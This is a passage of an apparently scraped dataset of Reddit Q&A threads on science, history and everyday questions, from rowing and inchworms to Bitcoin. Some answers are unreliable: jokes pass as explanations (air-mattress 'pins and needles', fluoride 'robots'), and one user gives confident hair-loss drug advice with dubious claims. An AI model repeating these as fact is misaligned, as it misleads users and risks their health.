time.  Jurassic Park was amazing when it first came out, but now is pretty rough looking.  That is, until we get CGI effects that are so photorealistic that any improvements above that are marginal.  My rough guess is that we might get there within the next 10 years.", "Most movies/shows that are set in a time a decade or more before they are created age very well.  If you allow some breathing room, you can pick and choose the cultural references that actually lasted rather than trying to guess or just going with the latest fad.  Think Freaks and Geeks, Dazed and Confused, The Wedding Singer, The Wonder Years...", "Humor generally doesn't age that well. \"Confusion humor\" isn't that popular anymore, and other kinds have simply been done so frequently it's no longer funny. Just like the \"talking shit about someone who is right behind you\"", "A different one: I find older movies - even the classics - are always a bit of a let down because they can struggle to offer anything new. I often find myself going, that was well executed, and I understand that it would have been amazing and forward-thinking in its time, but right now in the 21st century, its ideas have aged. \n\nWe've seen a dozen iterations of the crime movie, the horror movie, the romcom, the family drama etc, most of which build upon their past versions and introduce new elements, new concepts or even subvert its own genre in new and fascinating ways. When you go back to the very very first instances of the film medium taking on these stories, it can be very simplistic. Which is how it should be - that's what evolution and art is all about!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "6m8jly", "title": "in olympic rowing, why do all the players (on a single boat) row in sync rather than alternatively, for instance half team pulling and other half recovering, thus, resulting in a smoother motion?", "selftext": "The trivial answer is to \"go faster\" but why does that happen?\nWhat is actually involved that makes the boat go faster while rowing all in sync instead of alternatively?\n\n[edit] What I mean by alternatively, is, suppose the whole team (present on boat) is divided into 2 halves, A  &  B. To move through the water, first the team A pulls the boat (using their oars) and when they have finished their power stroke then team B does the pulling. So, when team A is done pulling it goes into its recovery phase. Meanwhile, team B pulls the boat. And then A again, and so on continuing as ABAB... (What I DON'T mean is half team is pulling for half the distance and other half for the left over distance).\n\n[edit 2]\nThank you for all your responses. \n\nSummary of the reasons (mentioned in the thread) rowing is done in sync and not otherwise:\n\nLimited Space on boat \t\n\n- Making it unable for rowers to go out of sync\n\n- The oars hitting one another\n\nBoat imbalance \t\n\n- Unnecessary stresses on the boat when rowers are going in opposite directions\n\n- Half rowers on one side in sync with each other but completely out-of-sync with the other side, make the boat go zig-zag, increasing the distance they're covering.\n\nHalf of the rowers pulling the weight of other half who are recovering, halves the acceleration (not exactly though), which is not desirable.\n\nSynchronization becomes unmanageable. \n\nWhile in recovery, rowers move in a direction opposite to the motion of boat, thus the pseudo force pushes the boat forward, slightly though. If the rowers were alternating, the motion of the rowers would cancel out and thus \nwasted.    \n\nWhen a boat is being rowed, if half the rowers have completed their pull, the water is set into motion, and some rower of the other half will be applying the force with the oar in moving-water, thus inefficiency in its application ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6m8jly/eli5_in_olympic_rowing_why_do_all_the_players_on/", "answers": {"a_id": ["djzoil4", "djzowp4", "djzp2ri", "djzp6bo", "djzq8qw", "djzq9t3", "djzrah1", "djzuxio", "djzuyxt", "djzywco", "dk00aqc", "dk00b13", "dk00i07", "dk00mkb", "dk00upe", "dk01im0", "dk03pib", "dk0txxm"], "score": [98, 3, 17, 62, 3, 21, 12, 2, 4, 5, 2, 2, 2, 2, 2, 2, 2, 3], "text": ["I'm not sure it's physics or just physical. If you look at these boats, there is no room for rowers to lift their oars to let the next oar go by. People get injured when one rower gets out of sync. ", "It's probably better physics-wise, but I think the main reason is they'd hit eachothers' oars. They'd have to have a larger boat to make room for that. And having something like the front half and back half alternating wouldn't work because it would make the boat rock. I do know that the rowing force should be even across the whole thing. ", "So you're watching Olympic rowing and somehow think it's not smooth enough???\n\nThe absolutely *simplest* answer here is that the way it's done now means there's zero chance of anyone's oars hitting someone else's. And that reason in and of itself is worth not taking the risk.\n\nIt's also a lot easier to stay in sync when you work as a team than as two teams. You'll notice there's one pacer per boat; your way would mean either two or on doing two jobs. \n\nPlus, as with many things, it boils down to tradition. That's how they've always rowed; that's how they row now. \n\n", "If you mean everyone on the right pull, while everyone on the left recovers, you'll create more drag by the boat tending to move side to side and sorta twist as it moves along.\n\nIf you mean the first two people pull both left and right, while the next two recover, you're losing 1/2 your power in each stroke. Those boats are designed to have minimal drag so the gliding phase is less of a loss than losing 1/2 your power. \n\nAt least as far as I know.", "It has been tried before, and presumably while it was smoother, it wasn't as fast. The USSR produced a four with the cox in the middle which would have allowed this, but they only raced it conventionally. I suspect it would be very difficult to vary the rating, ie the number of strokes per minute.\n", "The boat is smoother when everyone is rowing at the same time.  It's absolute havoc when everyone isn't in sync.  Moreover, you actually slide forward and backwards when rowing.  So if you aren't in sync, someone will get the end of an oar in the back.  Lastly, when you move forward to what they call \"the catch\" (the beginning of the rowing motion) that momentum actually slows the boat down, sometimes even jerking the boat backwards.  \n\nSource: rowed in high school and college", "The reason, besides oars colliding, is that more power in the stroke means more speed, which lifts the hull further out of the water, so there's less drag, which means even more speed.  It's like a multiplying effect.  Having people stroke at different times means the hull never lifts very much, so you don't get that increase in speed.\n\nSee also \"hull speed\".  It takes a lot less power to skim over the water than to push through it.", "TL;DR Not enough space, I think...\n\nI know I'm late, but it's also about space (at least with skulls). If you have some rowers idle, then their blades will be in the way. \nIf you watch the loci of each rower's blades, you can see that the only way that there would be enough space would be if the blades immediately behind (or in front) are pulled in, or not there.", "Efficiency increases when rowers are in sync. With the same expenditure in terms of energy, you get higher speed.\nI have first hand experience in paddling, and Dragon Boat in particular, but I assume he same is true for these sports.\nIf the rowers/paddlers on the two sides are out of sync, the boat will oscillate left and right, and a lot of energy is dissipated there. But also if the left/right part is balanced, you get higher efficiency if the thrust all rowers is applied at he same time. \n\nThe reason is that our muscles cannot apply the same power over all speed ranges. Power is speed times force. If you are rowing alone, you will have to apply a huge force, while your row moves very slowly. This is inefficient. If all rowers row at the same time, the speed of their movement can be higher. They apply less force, but the product force times speed, that is, the power, is higher.\n\nThink about a car engine working spin the wrong gear.", "This has somewhat been covered, but I thought I'd add a bit as someone with 8 years of rowing experience. What people dont tend to realize is that boat speed is just as much about accelerating the boat through the water on the drive (ie when the oar is actually pulling through the water) as it is about not slowing the boat down on the recovery. When rowers are out of sync on the recovery, even by a fraction of a second, they end up coming into the catch (where you place the oar into the water to begin the drive) too hard, or rather it will feel forced as different rowers try to stop their momentum in different ways and what not. This results in the bow of the boat being pushed down and a significant increase in drag applied to the boat. If a crew is significantly out of time with each other, it can feel almost as if the boat is coming to a stop every stroke, and thus the rowers are wasting a ton of energy just trying to get the boat back up to speed. Conversely, when all the rowers are rowing together and are perfectly in sync, the catch almost feels natural and easy, that is the rowers dont feel as if they have to force themselves to stop their forward momentum, thus keeping the bow of the boat up and allowing the rowers to pick the speed of the boat up quicker and to add more speed to the boat as they arent wasting time (and energy) getting the boat back to the speed it had during the recovery.  ", "It's about space (you can't move forward unless the person in front of you moves forward), balance and timing. \n\nAs others have said, all rowers have to be in sync for the boat to move smoothly and be balanced, but no one has mentioned that the cox is talking to the stroke (the rower closest to the cox) to dictate the stroke rate. Everyone else in the boat is following stroke's timing. If the cox says to increase / decrease the stroke rate, how will the 'B' rowers respond if they're not in sync? How would you do a 'power ten' for instance. \n\nAnother factor is the 'drive' and 'recovery' phases of the rowing stroke are not the same length, so A can't drive while B recovers, the timing wouldn't work. ", "A research team actually looked into it with robots: [here](_URL_0_)\n\nBasically the force of rowers pulling themselves back up to the catch pulls the boat forward which adds to their inertial force. When the rowers are not in sync the force is reduced. ", "Adding enough room to allow the feee movement would increase surface area and drag. More importantly while it might be faster to row like a centipede moving its legs it's too difficult to time this. At 44 strokes per minute the efficiency gained with his style would be negated by the lack of power each rower could produce. ", "A very simple answer is that if one oar was at the start of the stroke and the one behind it finishing the stroke they would probably collide.  So, the reason is so they don't collide the oars.\n\nThere might be other reasons but that seems to be reason enough.", "I'm not sure if the \"weight\" is relevant in the water, but I think 10 people dragging themselves without rest is better than 5 people dragging 10 people with rests, in a way. you're still going to spend the same amount of energy or even more. ", "The room issue as everyone mentioned, but also speed and there would also be a lot of swerving", " > The trivial answer is to \"go faster\" but why does that happen? What is actually involved that makes the boat go faster while rowing all in sync instead of alternatively?\n\n\nThe answer to this part of your question involves the movement of the water. When they all row at once, each paddle basically plunges into a solid wall of water that it can push off of. If they were alternating strokes, then each ore would hit water that is already circulating and moving backward (due to the strokes of the other paddles).\n\n\nTo put this in more real-life terms, imagine that you are pushing yourself forward off of the bumper of a car. If you're pushing yourself off of the bumper of a parked car, you will be propelled forward much more than if you push yourself off of the bumper of a car that is slowly traveling in reverse.", "Physics tells me that, given you can apply the same forward force even if split up, it's more efficient to do so. This is because drag force is relative to the velocity squared, so high velocity is punished harder than what you save from low velocity - keeping the average velocity is more efficient. I'm not sure how much difference this makes though. (1^2 +1^2 =2 while 0.5^2 +1.5^2 =2.5, 25% more drag force if you evenly shift between 0.5 and 1.5m/s compared to a constant 1m/s, although the average speed is still 1m/s)\n\nSo why don't they do that?\n\n1) As others have mentioned, there may simply not be space for the oars to be out of sync. While this is probably true, if it was more efficient, I imagine the boats would be designed for that, so I don't buy this fully as a single explanation.\n\nSo I'll add two other possible reasons, just speculations from my part:\n\n2) Being at the boats lowest speed when putting down the oars may also allow each rowman to add more force each stroke compared to if they put it down at a speed closer to the average, so my initial assumption may be incorrect.\n\n3) Being out of sync means some rowmen has to wait half a stroke into the race before starting to add their force, this sounds inefficient, it's likely that half the rowmen will put one less stroke into the water by the end of the race."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], ["https://www.digitaltrends.com/cool-tech/row-bots-efficient-rowing/?utm_source=feedly&amp;utm_medium=webfeeds"], [], [], [], [], [], []]}
{"q_id": "d7z6vi", "title": "During WWI, specifically 1916, was education free? If so, until what grade? What was the quality of education like, and what was taught in schools?", "selftext": "Forgot to add this in the question, but would children walk to school or take some train or carriage? Also, I meant London England, and up until the child would be 12.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/d7z6vi/during_wwi_specifically_1916_was_education_free/", "answers": {"a_id": ["f160qj8"], "score": [2], "text": ["Can you say more about where in the world you're thinking about?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1m3nab", "title": "Why do Geometridae caterpillars (a.k.a inchworms, measuringworms etc.) hang from silk threads?", "selftext": "This seems like dangerous behavior. I've seen them captured by wasps when doing this. If I had to guess I would say it's a way to catch a ride on another animal, but that too seems rather risky vs. the possible benefit.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1m3nab/why_do_geometridae_caterpillars_aka_inchworms/", "answers": {"a_id": ["cc5j7cb"], "score": [64], "text": ["Oddly enough, it's a defensive behavior^1,2. When the caterpillar is on a branch or a leaf, it will sense the substrate vibrations of potential predators (such as stink bugs or wasps) and throw themselves off. Once the threat has moved on, it will climb back up. However, this of course puts them in a potentially dangerous position, as you pointed out. It's certainly a risk.\n\n1. Castellanos  &  Barbosa (2006). \"Evaluation of predation risk by a caterpillar using substrate-borne vibrations.\" Animal Behavior 72:2, 461\u2013469.\n\n2. Soares *et al.*(2009) \"Does Thyrinteina arnobia (Lepidoptera: Geometridae) use different defense behaviours against predators?\" Journal of Plant Diseases and Protection 116:1, 30\u201333. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1xzum3", "title": "Why doesn't a third-rail (elevated subway) short when there's snow on the ground?", "selftext": "So here in Philly, and I'm sure other places, part of our subway is elevated and uses a third rail. When it snows, and it piles up so that it is touching the third rail, why doesn't it short to ground?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1xzum3/why_doesnt_a_thirdrail_elevated_subway_short_when/", "answers": {"a_id": ["cfgdc1f"], "score": [6], "text": ["In short: snow is not water. It is much less dense (about 1/100 the mass for volume freshly fallen) and therefore far less conductive.\n\nOn top of that, the third rail is, I understand, not just an open, exposed conductor; it has an insulative (plastic or wood) covering over it to keep the weather off (and stray feet of maintenance workers). thus the snow will only contact it if it seriously piles up and slips under that cover."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1njqap", "title": "I've heard that buying a slave in the 1800's was equivalent in cost to buying a car today. However would the maintenance of a slave equal the cost in maintenance on a car?", "selftext": "The title pretty much says it all.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1njqap/ive_heard_that_buying_a_slave_in_the_1800s_was/", "answers": {"a_id": ["ccj9wge"], "score": [2], "text": ["The price of a prime field hand in the 1850s was about $1200.\n\nSource:  _URL_1_ p.199\n\nInflation adjusted into today\u2019s money, a prime field hand in 2013 would cost $33,672\n\nSource: _URL_0_\n\nA prime field hand was a male slave 20-30 years old.  Older and younger slaves and women cost somewhat less.  A few skilled slaves, (blacksmiths, coopers, etc. ) could cost more.\n\nSo, a slave did cost about as much as a (good, new) car does today.\n\nSource: _URL_1_ p.199\n\nThe other investments needed to make a slave productive (on a cotton plantation) were about $450 per slave in land.  About $ 33per slave in tools and animals.\n\nThe cost of maintaining a prime field hand on a southern plantation in the period 1840 \u2013 1860 is estimated at about $20-21/year.  (That would be roughly equivalent today to $580 today)\n\nA prime field hand produced about 3.5-4.5 bales of cotton/year.\nA bale is 500 lbs of cotton.\nThe average price for cotton was 7-8 cents / lb (to the plantation, not to the exporter).\nValue of one prime field hand\u2019s cotton production = $150/yr.\n\nCapital to produce $150 in cotton = Slave $1200, Land $450, Tools $33 = $1683.\n\nCosts = $21/yr.\n\nProfit = $129 .\n\nReturn = 129/1683 = 7.7%\n\nSo, not surprisingly, slaves were profitable.  \n\nNote, this is a considerable oversimplification of the economics of slavery.  Some of the sources listed above go into considerably more detail.  All are estimates.  The economics of slavery in the American South after the ban on the slave trade seem to have been based on two systems: Cotton production in the Western South which had a continual demand for more slaves, and less profitable crops in the older Eastern South, which also produced a surplus of slaves which moved west.  More by younger sons taking some of the family\u2019s slaves and colonizing west, than by sale of slaves \u201cdown the river\u201d to the Cotton plantations, though both operated.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.minneapolisfed.org/community_education/teacher/calc/hist1800.cfm", "http://www.nber.org/chapters/c0606.pdf"]]}
{"q_id": "1mdf26", "title": "why does a basket ball stay on your finger if you spin it?", "selftext": "ELI5: why does a basket ball stay on your finger if you spin it? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1mdf26/eli5_why_does_a_basket_ball_stay_on_your_finger/", "answers": {"a_id": ["cc84vj2", "cc85zhl", "cc8776u", "cc87d66"], "score": [7, 2, 5, 2], "text": ["Angular momentum, bit like a gyroscope more force is heading outwards than downwards so balancing it.", "its called gyroscopic stability. Think about a bey blade/spin top and the same rules apply.", "basketball. One word.\n\n\nAlso, in five year old terms, its falling, but because it's spinning its falling in every direction at pretty much the same time, so it stays where it is.", "If you bend the top joint of your finger, it spins on the fingernail instead. Much less friction, so it is easier and lasts longer. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3cbcvk", "title": "why does dht (testoterone) cause hair to grow on the body but can cause it from stop growing on the scalp?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3cbcvk/eli5_why_does_dht_testoterone_cause_hair_to_grow/", "answers": {"a_id": ["csu28at", "csu55rk"], "score": [3, 2], "text": ["Some people are going to call me crazy, but I'm going to explain as much as I can from my point of view.  \n\nFor reference, I lost about 40% of my hair and have grown most of it back.  A couple months from now, I should have all my hair back.  My doctor says these are results that do not happen. \n\nAnyways, there's 2 theories about hair loss.  The one you're referring to is the Donor theory/the androgen paradox.\n\n1) DHT levels rise as we age, and DHT causes hair in the MPB region to miniaturize (get smaller over time, detatching from the blood/nutrient source) because the hair is genetically predisposed to  DHT miniaturization.  It doesn't run in my family, so I became very skeptical.  \n\n2) The scalp becomes tight, causing reduced blood flow. \n\nNow, I'm putting my eggs into basket 2 because there are a lot of studies that seem to support this that cannot be explained by 1.  \n\n1 ) They took botox, injected it into Norwood 2-6's hair lines and around the MPB (the galea), and noticed that the hair started to grow back in a statistically significant fasion (aka, no way this should have happened if 1 were the true culprit).  \n\n2 ) Hair in the MPB is genetically the same as hair on the sides of your head.  Why would the MPB be genetically different?  Its not!  Its location is d ifferent and not located near muscle which absorbs DHT (like the sides of your head for instance).\n\n3) Oxygen levels in the MPB region are lower in balding patients, and free T is converted into DHT more in low oxygen environments. \n\n4) DHT is believed to cause muscles to \"harden,\" which would cause the galea to become tighter, and thus causing 3.\n\n5) All men go bald.  That is the truth.  If it were genetic, why would 95% of all men experience some DHT induced miniaturization? \n\n6) Rogaine works by increasing vasodialiation in that MPB region, thus, there is a link between bloodflow/oxygen/DHT accumulation that cannot be denied. \n\nDHT is certainly the culprit, but nuking your DHT body wide isn't the greatest thing, since it is really only about the DHT in your scalp.  DHT levels in MPB patients are not signficantly different than in non-balding patients, but it seems there is a high concentration in the scalp.  That being said, I still take propecia because fuck losing my hair.  \n\nIf you are experiencing balding and want to reverse it, I recommend the following: \n\n1) Get Regenepure 1%.  Use it daily.  Leave it on for 5 minutes. \n   \n2) Start taking 1mg finesteride daily. \n   \n3) Use Rosemary oil on your head after the regenepure and massage into the scalp vigorously instead of conditioner.  Rosemary oil is said to loosen up the scalp, and acts like Rogaine by acting on the NO pathways required for vasodialation.\n  \n 4) Massage your head and scalp throughout the day.  There are some exercises that are said to loosen the galea since your muscles need to become looser along your head.  I've noticed a big difference since I started them when I lost my hair. \n   \n5) There are some supplements that supposidly help.  I use them to work out anyway (L-argenine for instance).\n    \n6) 5% lipogaine.  I use it once at night, I use 2mL.  Mostly maintenance/ speed up the remaining hair I want to grow back.\n   \n7)  If you take creatine, stop.   While i loved it as a supplement, this may have been the cause of my early onset/non-history linked hairloss (which happened quickly).  Creatine causes DHT levels to rise dramatically supposedly.\n   ", "Well, what good timing -- SciShow just posted [this video](_URL_0_) explaining DHT-related baldness a few days ago!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.youtube.com/watch?v=3Kp_TaiRBoo"]]}
{"q_id": "7z240u", "title": "delaunay triangulation/voronoi diagram algorithms", "selftext": "So I\u2019d really like to understand these concepts, but I know the standard explanation of the algorithms are probably beyond me. ELI5 please?\n\nSorry if this is the wrong subreddit for this.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7z240u/eli5_delaunay_triangulationvoronoi_diagram/", "answers": {"a_id": ["duu3dr7"], "score": [2], "text": ["[Voronoi diagram](_URL_1_)\n\nGiven a set of chosen points in a plane (marked in the picture), for each chosen point the Voronoi polygon is the part of the plane that is closer to that point than to any other chosen point. For example, every part of the blue polygon in the upper left corner is closer to the marked point in that polygon than to any other marked point.\n\nOne application is in computer data visualization. If each dot is a point on a scatter plot, then when you hover your mouse cursor over the plot you might want to show a tooltip next to the closest dot. But checking the distance to every dot to find the closest is inefficient, especially when the mouse is moving. So instead you compute the Voronoi polygons for each point. The point the mouse is closest to is the one whose Voronoi polygon it's in.\n\nThe [Delauney triangulation](_URL_0_) is related. In this image, the black dots are the points and the red lines are the Voronoi polygons for that set of points. The black lines connecting the points form the Delauney triangles. Two black dots are connected in the Delauney triangulation if those dots' Voronoi polygons share a border."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://upload.wikimedia.org/wikipedia/commons/5/56/Delaunay_Voronoi.svg", "https://upload.wikimedia.org/wikipedia/commons/5/54/Euclidean_Voronoi_diagram.svg"]]}
{"q_id": "3b9jw4", "title": "What is this aircraft and what do we know about it?", "selftext": "Picture here: _URL_0_", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3b9jw4/what_is_this_aircraft_and_what_do_we_know_about_it/", "answers": {"a_id": ["csk7bzk", "cskbonp", "cskkaio"], "score": [2, 2, 2], "text": ["You might have more luck in an aviation sub. I've never seen anything like that from that time period. Looks to be a wind tunnel mock up. ", "It's Boeing Quietbird. [Here's some discussion](_URL_0_) on Reddit and [here's a thread](_URL_1_) on another forum with even a link to a patent concerning the project.", "Boeing \"Quiet Bird\".  \nOnly a mockup to test RCS.  \nYou can see it was a wind-tunnel/radar test model due to the attachment device above it. It wasn't built with undercarriage.\n\nBlueprint with Boeing designation 853-21  \n_URL_3_\n\nUS Patent file:  \n_URL_5_\n\nMore info:  \n_URL_2_ \n_URL_0_\n\nYou may recognise the pedigree of this technology demonstrator in the [Tacit Blue](_URL_1_) aircraft:  \n_URL_1_#/media/File:Tacit_blue_side_runway.jpg  \n\nWhat it *isn't* is a YF-113G as suggested by others in some of those links."]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/RI4ds.jpg"], "answers_urls": [[], ["http://www.reddit.com/r/Military/comments/13mifx/the_army_had_a_stealth_jet_before_the_air_forces/", "http://www.secretprojects.co.uk/forum/index.php?topic=8006.0"], ["http://www.reddit.com/r/Military/comments/13mifx/the_army_had_a_stealth_jet_before_the_air_forces/", "https://en.wikipedia.org/wiki/Northrop_Tacit_Blue", "http://www.secretprojects.co.uk/forum/index.php?topic=8006.10;wap2", "http://www.aerospaceprojectsreview.com/blog/wp-content/uploads/2014/12/2014-12-patreon-ad.jpg", "https://en.wikipedia.org/wiki/Northrop_Tacit_Blue#/media/File:Tacit_blue_side_runway.jpg", "http://www.google.com/patents/US4924228"]]}
{"q_id": "4f1lig", "title": "what would happen if i plugged my power bank into itself?", "selftext": "I've just noticed the charging cable is just long enough to plug into both the input and output sections. I'm tempted but I don't want to break it! \n\nEDIT: it'll either just drain or blow up. I'm not a gambling man so I won't be finding out! ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4f1lig/eli5_what_would_happen_if_i_plugged_my_power_bank/", "answers": {"a_id": ["d255lsv", "d256ek3", "d256kcd", "d25c5g4"], "score": [46, 2, 14, 4], "text": ["If the device is what I think it is (portable battery), then plugging it into itself will create a rather low powered space heater. Ie, the bank charges itself, slowly wasting electricity due to some inefficient parts.", "Depends on the quality of the unit, some will have current protection which will probably mean its just cuts out and do nothing but cheaper knockoff models will create a circuit with the internal resistance of the battery being the load with lots of current flowing through it basically meaning it will heat up until something melts or explodes ", "If it's a cheap poorly designed and not UL/CSA/whatever certified device it could cause some problems\n\nBut most likely what will happen is that you will slowly drain it. It will charge itself but due to losses and inefficiency it will drain itself since it can't convert 100% of its energy back", "You may also want to consider that some power banks (at least the one I have) don't allow simultaneous charging and discharging. In that case... absolutely nothing of interest will happen. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "yeslq", "title": "why does my air mattress always go flat after i use it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/yeslq/why_does_my_air_mattress_always_go_flat_after_i/", "answers": {"a_id": ["c5uw23c", "c5uw2al", "c5uwi14"], "score": [3, 2, 8], "text": ["It has a leak.", "small hole + mass= slow leak", "You know when you lay on your arm too long and you get that 'pins and needles' feeling? That's not just a feeling. Your body hair really turns to pins and needles.\n\nNow, in a regular polyester-fill mattress, this is no problem. But in an air mattress, you compromise the integrity of the mattress over time.\n\nThis is why water beds are never as cool as you think they are."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "bmincu", "title": "how does \"restoring anticavity fluoride rinse\" work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bmincu/eli5_how_does_restoring_anticavity_fluoride_rinse/", "answers": {"a_id": ["emxetlj", "emxpzqc"], "score": [27, 9], "text": ["Fluoride ions bind to enamel and turn hydroxyapatite into fluoroapatite. Fluoroapatite is much more resilient to acids and a low pH environment. Therefore bacteria cannot thrive and demineralize the tooth.", "I've seen a computer simulation and what happens is the fluoride are little spherical robots that go around to each tooth and spray them with their ray guns which gives the tooth anti cavity properties, and the teeth shine really bright for a second right after they have been sprayed, it's very reassuring."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "7iimri", "title": "bitcoin faq  &  megathread", "selftext": "As a reminder, we've covered [bitcoin](_URL_0_), [blockchain](_URL_1_) and cryptocurrency several times in this sub. \n\nHelp answer common questions.\n\n1. What is bitcoin? \n\n2. What is bitcoin mining? Why are ASIC and GPU or video cards used instead of a more general purpose CPU? \n\n3. What is block chain? and how is it used?\n\n4. How is the value of bitcoin determined, and what backs the currency?\n\n5. What is a fiat currency, and how is bitcoin different from it, or currency backed by hard commodities such as gold?\n", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7iimri/eli5bitcoin_faq_megathread/", "answers": {"a_id": ["dqz233y", "dqz38au", "dqz3ezq", "dqzg8u9", "dqzn0te", "dr0pece"], "score": [2, 8, 5, 4, 2, 2], "text": ["Question 5: strictly speaking, even currency backed by hard commodities such as gold are arguably fiat; see the third of the below paragraphs for why.\n\nAll three types have value only because people *say* they do.  There's nothing special about precious metals in this respect.\n\n\"True\" fiat currencies theoretically have value because their respective governments say they do, and for no other reason.  On a more practical level, because many people *believe* these governments (and because those governments then have to accept their own currencies for payment of debts, in order to be consistent), they have value.  The organisations that issue fiat currencies have a certain degree of influence over their value, because they can issue more (and since there's a limited amount of value to go around, each bit is then worth *less*), or less (in which case the value goes up slightly, as more value is created and also as currency is lost or wears out).\n\nCommodity-backed currencies represent a claim on a certain amount of that commodity; this is also known as being on the \"gold standard\" (though you can insert anything else widely considered to have value in place of \"gold\"; a \"silver standard\" has been popular in the past, as has a \"bimetallic standard\" (meaning both gold and silver).).  The value of the currency is then pegged, to an extent, to the value of the commodity.  However, since the rate of exchange is set by the issuing body (usually a government, again), you run into two situations: either the rate is very hard to change, and it quickly gets out of synch with what you can actually buy using the currency (so you can make absurd amounts by trading it in for the backing commodity, selling that in another currency, buying something *else* valuable, and selling that in the currency you started with - or similar schemes); or the issuing body can change the value easily and it's not very distinct from a fiat currency.\n\nBitcoin, and similar things, are slightly different.  Their value is determined *entirely* by what people are willing to give for them; they are issued at a fixed rate (for clarity: by that I mean a fixed speed, not a fixed exchange-rate) and are not assigned a specific value by an organisation with the ability to impose one.  Their values are thus more volatile in some ways, because they're not fixed to anything in particular, but on the other hand there's no central point of failure, as there is with government-issued currencies; there is no scenario in which they lose all value because someone just creates too much more (but there *is* a scenario where they lose all value because everyone decides not to accept them, whereas a government-issued currency will always at least be accepted by that government).  The \"failure modes\" (the ways they can stop being useful as currency) of the different sorts of currency are different, but they each have them, and that's not in itself a big problem as long as the failure modes aren't very likely and there are alternatives available.", "Here are some of the most-answered \"how does Bitcoin work\" threads.\n\n1. [How does Bitcoin work? ](_URL_0_) ^(_19 comments_)\n1. [ELI5 How does Bitcoin work? ](_URL_2_) ^(_15 comments_)\n1. [ELI5: How the fuck does bitcoin work? ](_URL_3_) ^(_8 comments_)\n1. [ELI5 How does Bitcoin work? ](_URL_1_) ^(_4 comments_)\n1. [ELI5: How does Bitcoin work if it's decentralized? ](_URL_4_) ^(_3 comments_)", "Here are a couple of interesting \"what is Bitcoin\" threads:\n\n\n1. [ELI5: Bitcoins ](_URL_0_) ^(_77 comments_)\n1. [ELI5: What is Bitcoin and why is it so popular? ](_URL_1_) ^(_9 comments_)\n\n", " > What is bitcoin?\n\nBitcoin is an internet currency designed to be decentralized, that is, you do not rely on any one organization or individual to make it work. In normal money, you have things like central banks which control currency and companies like Visa which process your transaction, all centralized systems relying on these organizations.\n\n\n\n\n > What is block chain? and how is it used? What is bitcoin mining? \n\nA blockchain is just a specially organized ledger that many cryptocurrencies use.\n\nBitcoin uses the idea of a decentralized ledger, where a ledger is just a list of transactions, be it on paper or computer. In Bitcoin, the ledger is public for anyone to view and download. Having Bitcoin just means that there are transactions on this ledger that have sent you Bitcoin, more Bitcoin that the ledger shows you spent. Now, no one can spend the Bitcoin you own because of something called digital signatures, which are kind of like real life signatures, but can't be forged because of the fancy mathematics behind it. \n\nAnyways, the specific way this ledger is organized is what makes Bitcoin really revolutionary. The problem with cryptocurrencies originally that Bitcoin solved was that we needed to figure out a way to get everyone's computer's to agree and add onto one ledger, but without a central party dictating what the ledger is. That is what the blockchain solved. Bitcoin transactions are packaged into files called \"blocks.\" This block then has something called proof-of-work, or also known as mining preformed on it, which uses the block and various combinations of other data, plugs it into a mathematical formula, which spits out a number. If this number is below a certain other number called the target, then this block is published to the blockchain, if not, you must change the data for the input and try again. You cannot reverse this formula to find a piece of data that fits a certain number, so miners must try again and again to try to find a valid block. Upon finding a valid block, miners are allowed to mint a set amount of Bitcoin, which acts as an incentive for all these miners to mine. \n\nWhy is this done? Because it makes it very difficult to change a block, therefore makes transactions permanent. Mining a block requires a lot of work and the solution demonstrates that the miners most likely performed all this work. Changing the block in any way would change the solution to this mathematical problem thus make the block invalid. Blocks are also linked to previous blocks through other fancy math, this makes it so that changing a block also requires you to perform successful mining on all future blocks, which would theoretically require more computational power than the rest of the good miners combined. \n\nIf you receive a block through the internet and check that it is a valid solution, you can verify that it is indeed a block. This puzzle also serves as a method of minting the currency. \n\n > Why are ASIC and GPU or video cards used instead of a more general purpose CPU?\n\nCPUs are very useful since they are incredibly versatile. They are able to do pretty much everything, but they are not all that good at doing everything. This is why GPUs are used, while the calculations for graphics could theoretically run off a CPU, a CPU is slow at them, so a GPU exists because they are able to do better at certain graphics related calculations since they are specially designed for that, but can't do everything like a CPU can. ASICs take this even further. They are designed to do one and only one task, they can't do anything else but they are very very good at that one task. ASICs could be designed for various tasks but here they are designed specially for Bitcoin mining.\n\nThe way Bitcoin mining is designed has a set reward split among all miners proportionally to how much each of them are able to contribute work. When ASICs take up most of this market share, which are significantly more efficient than GPUs, they reduce the reward the GPU miners get and at one point it just cost more in electricity to mine with a GPU than you would earn. 